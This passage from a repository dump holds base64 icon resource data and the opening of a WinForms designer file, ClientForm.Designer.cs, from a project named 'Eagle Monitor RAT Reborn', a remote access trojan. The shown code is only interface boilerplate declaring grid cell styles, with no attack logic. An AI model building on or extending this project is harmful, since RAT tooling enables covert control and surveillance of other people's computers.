dyL2oHYr7Jx0MkyWcTqyk3A+/45uQf+KbEPUh2pELgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACx\n        ew0kq3kUJah4GeykdyLooHYqQZtzM8WXcjr/k3A+/49vQaeMbUIOAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAACvew8ErHoTyal4GOWldyE7oHUszZt0M/+Xcjr8k3E9eZFvQAEAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew5jrXoS56l5FzWkdyPAoHYr/5t0M/aYcjlZAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwew63rnoRMKh4GpukdyL/oHYr85x0MUeZ\n        czYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACyfAwjq3kUUah4Gf6k\n        dyLzoXYpPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACv\n        ew8CrHoT2qh4Gfeldx9IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAACvew83rHoS/al5F1+neBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew9KrXoRiqt5FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8LrnoQBQAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////AAD/////9/8AAP///+eA\n        /wAA////goD/AAD///+AAP8AAP///4AB/wAA////gAP/AAD//+OAB/8AAP/+AIAf/wAA//4AAD//AAD/\n        wAAAP78AAP/AAAAfjwAA+AAAAB8PAACAAAAAHg8AAAAAAAAADwAAYAAAAAAPAAD4AAAAAA8AAP/wAAAA\n        HwAA//gAAAA/AAD/8AAAAD8AAP/AAAAAAAAA/wAAAAAAAAD8AAAAAAAAAPgAAAAABwAA+fAAAA//AAD/\n        8AAAH/8AAP/AAAAf/wAA/4AAAA//AAD/gAAAA/8AAP4AAAAH/wAA/AAAAAf/AAD8AAAAD/8AAPwAAAAf\n        /wAA/AAAAD//AAD4AAAAf/8AAPwAAAH//wAA+AA4D///AAD4AP////8AAPgB/////wAA+AP/////AAD4\n        D/////8AAPgP/////wAA+D//////AAD4f/////8AAPh//////wAA+P//////AAD5//////8AAP//////\n        /wAAKAAAACAAAABAAAAAAQAgAAAAAAAAEAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAUUhAEwAAAAAAAAAAAAAAADIuLiIvLC0JJyUoIiEgJAogHyMGAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAFpORAZRSEBpSUI8OEA6Nxg4MzIANDAweiooKjYmJCd3ISAkPCAfIz4AAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAABcUEUAWk5EXVFIQLtJQj2fQjw5kTw3NTgzLy/RLCorxCYkJ90hICSHIB8jBAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAFxQRQFZTkTYUUhAykpDPflDPTn/OzY09jMvMMIsKSvBJyQnggAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAg2hGAoBmRwl8ZEgAcV5JImxbSYdnWEgpAAAAAFhNQ9JSSUH/SkM9/0M9Of87NjS+NDAwZC8sLQUA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAkG9ACIxtQg2EaEYnf2ZIkHliSddzX0mLa1pJVGZXSPRhU0dBV0xDcFJJQf9KQz3/Qz05/zs2NOU3\n        MjILAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAJdyOjGRcD+Ci2xDwYVpRfJ/ZkjGeWJJq3JfSfxsW0nzZldI/mBSRuxaTkQgUUhAzkpDPf9D\n        PTn/OzY0/zUwMJYAAAAAAAAAAAAAAAAAAAAAIB8jIyAfI1EAAAAAAAAAAAAAAAAAAAAAAAAAALZ9BAix\n        fAwyq3kUVqV3IG6fdS1/mHI4iJFwP4qLbEOIhWlFsn9mSP95Ykn/cl9J/2xbSf9mV0j/X1JG/1lORONR\n        SEHNSkM9/0M9Of87NjT/NDAw8wAAAAAAAAAAAAAAAAAAAAAgHyNyIB8j2AAAAAAAAAAAAAAAAMSBADS+\n        gAB6t30CobJ8DJyreRSapXcgoJ91La+YcjjFkXA/4otsQ/2FaUX/f2ZI/3liSf9yX0n/bFtJ/2ZXSP9f\n        Ukb/WU1E/1JJQf9KQz3/Qz05/zs2NP8zLzD9LSoreSYkJzohICROIB8jjD0uKf4xKCa6AAAAAAAAAAAA\n        AAAAyIIAAAAAAAC2fQQbsXwMe6t5FLSldyDXn3Ut45hyONqScD/Oi2xDyYVpReF/Zkj7eWJJ/3JfSf9s\n        W0n/ZldI/19SRv9ZTUT/UklB/0pDPf9DPTn/OzY0/zMvMP8sKSv/JiQn/yEgJP8gHyP/QzEq/yAfI7EA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKJ2JgCddS8Ml3I5J5FwP0GLbENchWlFeH9mSJl5\n        YknNcl5J+mxbSf9mV0j/X1JG/1lNRP9SSUH/SkM9/0M9Of87NjT/My8w/ywpK/8mJCf/ISAk/yEgI/8h\n        ICP/IB8jUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkG9AGotsQ2KF\n        aUWUf2ZIu3liSc9yXknqbFtJ/2ZXSP9fUkb/Wk5E/2lSQf9pUD7/aE08/2ZKOf9aQjX/LCkr/yYkJ/8h\n        ICT/IB8j3iQiJWMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnHQyApdyOUaR\n        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\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALB7Dm+sehNWpXcg3p91LNyaczUiAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsnwMEKp5FaOmdx/doXYpHAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8ZrHkT6Kd4GyMA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK97Dyat\n        ehFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/\n        ///////cH///gB///wAf//8Af//AgP//AAH//gAB58AAAecAAAAHQAAAB/gAAAf/AAAP/AAAAPgAAADg\n        AAAB5wAA//4AAP/8AAB/+AAAf/AAAH/wAAD/4AAB/+AAB//gDB//4B///+B////g////4f///+P////n\n        /////////ygAAAAQAAAAIAAAAAEAIAAAAAAAAAQAACMuAAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRSEAFAAAAADEtLgsmJCcLIB8jAgAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABaTkQZTkU/f0A7ODgwLS2RJCImhSAfIxAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAgGdHA3FeSQlrWkksWE1Ea05FP/A/OjftMS0ueyckJyAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAACXcjoMjm5BVoJnR5t2YEnDaFhIzl1RRW9ORj/zPzo3+DUxMSgAAAAAIB8jCSAfIxQA\n        AAAAwIAAK7R8B16oeBqAm3Mzn45uQbyCZ0bsdmBJ/2lZSP9cUEX4TkY/8z85N/8yLi+aIyElIi4nJn8o\n        IyVkAAAAAMiCAACyfAsmqHgaY5t0M3yObkGNgmdGvHVgSfFpWUj/XFBF/05GP/8/OTf/MCwt/yMiJf8p\n        JCX/IB8jQQAAAAAAAAAAAAAAAAAAAACXcjkSjW5BZoJnRq12YEnQaVlI9mdURP9cSz//U0I4/zwyL/8l\n        IybdQDk1vXxkRx29fwQHAAAAAK97DwKoeBtAm3Mzbo5uQbiCZ0bheGFJ53JbSP9cUEX/TkY//z85N/8x\n        LS7WLCkrq11QQ7uKaz6fr3sSVQAAAACwew4Cr3sPAJdyOhCNbkGMgmdG+nZhSf9pWUj/XVBF/09GP/8/\n        OTf/My8vlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKR3JAuaczSHjm5B24JnRv12YEn/a1lI/2JSRf9b\n        Sz//V0Q5/zEtLtEnJSgZAAAAAAAAAAAAAAAAAAAAAAAAAACmdx9Sm3M0sI5uQcGCZ0bodmBJ/WlZSeZc\n        UEWQTkY/9VNCOP8xLi6wKCYoAwAAAAAAAAAAAAAAAAAAAACvew8Bp3gbgJtzM7qObkG+gmdG3HZhSZ5p\n        WUh1W09FwU5GP9RBOzhoNjIyAgAAAAAAAAAAAAAAAAAAAAAAAAAAsHsOEah4G5abdDKyj25ByYVpRS0A\n        AAAAZ1dIEl1QRSNUS0IBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALB7DiCoeBqenHQxtJNxPQ4A\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwew4KqXkYo6F2KQcA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr3sPCa16ERAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/6MAAP8DAAD4\n        BwAA4AkAAAABAAAAAQAA4AAAAIAAAACADwAAwAcAAMAHAACADwAAgj8AAIf/AACP/wAAn/8AAA==\n</value>\n  </data>\n</root>"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.Designer.cs",
    "content": "﻿namespace Eagle_Monitor_RAT_Reborn\n{\n    partial class ClientForm\n    {\n        /// <summary>\n        /// Variable nécessaire au concepteur.\n        /// </summary>\n        private System.ComponentModel.IContainer components = null;\n\n        /// <summary>\n        /// Nettoyage des ressources utilisées.\n        /// </summary>\n        /// <param name=\"disposing\">true si les ressources managées doivent être supprimées ; sinon, false.</param>\n        protected override void Dispose(bool disposing)\n        {\n            if (disposing && (components != null))\n            {\n                components.Dispose();\n            }\n            base.Dispose(disposing);\n        }\n\n        #region Code généré par le Concepteur Windows Form\n\n        /// <summary>\n        /// Méthode requise pour la prise en charge du concepteur - ne modifiez pas\n        /// le contenu de cette méthode avec l'éditeur de code.\n        /// </summary>\n        private void InitializeComponent()\n        {\n            this.components = new System.ComponentModel.Container();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle12 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle10 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle11 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle13 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle16 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle14 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle15 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle17 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle21 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle18 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle19 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle20 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle22 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle25 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle23 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle24 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle26 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle30 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle27 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle28 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle29 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle31 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle33 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle32 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle34 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle36 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle35 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle37 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle39 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle38 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ClientForm));\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle40 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle42 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle41 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle43 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle45 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle44 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle46 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle48 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle47 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle49 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle51 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle50 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle52 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle54 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle55 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle58 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle56 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle57 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle59 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle61 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle60 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle62 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle64 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle63 = new System.Windows.Forms.DataGridViewCellStyle();\n            